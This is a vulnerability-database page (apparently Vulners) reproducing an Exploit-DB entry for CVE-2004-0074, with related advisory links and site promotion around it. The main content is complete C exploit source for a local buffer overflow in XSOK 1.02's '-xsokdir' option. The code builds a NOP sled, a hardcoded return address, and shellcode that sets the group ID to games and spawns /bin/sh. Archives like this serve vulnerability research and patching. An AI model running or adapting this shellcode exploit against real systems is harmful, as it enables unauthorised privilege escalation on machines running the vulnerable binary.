Lucene search
+L

XSOK 1.02 - '-xsokdir' Local Buffer Overflow Game

🗓️ 02 Jan 2004 00:00:00Reported by c0wboyType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 40 Views

Exploit for XSOK 1.02 local buffer overflow using shellcode for privilege escalation.

Related
Code
ReporterTitlePublishedViews
Family
cve
CVE
CVE-2004-0074
22 Jan 200405:00
cve
cvelist
Cvelist
CVE-2004-0074
22 Jan 200405:00
cvelist
debiancve
Debian CVE
CVE-2004-0074
22 Jan 200405:00
debiancve
nessus
Tenable Nessus
Debian DSA-405-1 : xsok - missing privilege release
29 Sep 200400:00
nessus
exploitdb
Exploit DB
XSOK 1.0 2 - 'LANG Environment' Local Buffer Overrun
30 Dec 200300:00
exploitdb
euvd
EUVD
EUVD-2004-0074
7 Oct 202500:30
euvd
nvd
NVD
CVE-2004-0074
17 Feb 200405:00
nvd
/* 0x333xsok (2) => xsok 1.02 local game exploit
 *
 *  Happy new year ! (2 :)
 *  coded by c0wboy
 *
 *  (c) 0x333 Outsiders Security Labs / www.0x333.org
 *
 */


#include <stdio.h>
#include <unistd.h>

#define BIN     "/usr/games/xsok"
#define RETADD  0xbffffa3c
#define SIZE    200


unsigned char shellcode[] =

	/* setregid (20,20) shellcode */
	"\x31\xc0\x31\xdb\x31\xc9\xb3\x14\xb1\x14\xb0\x47"
	"\xcd\x80"

	/* exec /bin/sh shellcode */
	"\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62"
	"\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80";



int main (int argc, char ** argv)
{
	int i, ret = RETADD;
	char out[SIZE];

	fprintf(stdout, "\n ---   0x333xsok => xsok 1.02 local games exploit   ---\n");
	fprintf(stdout, "   ---       Outsiders Se(c)urity Labs 2003       ---\n\n");

	int *xsok = (int *)(out);

	for (i=0; i<SIZE-1 ; i+=4, *xsok++ = ret);

	memset((char *)out, 0x90, 63);
	memcpy((char *)out+63, shellcode, strlen(shellcode));

	execl (BIN, BIN, "-xsokdir", out, 0x0);
}

// milw0rm.com [2004-01-02]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

27 Oct 2016 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 24.6
EPSS0.00993
40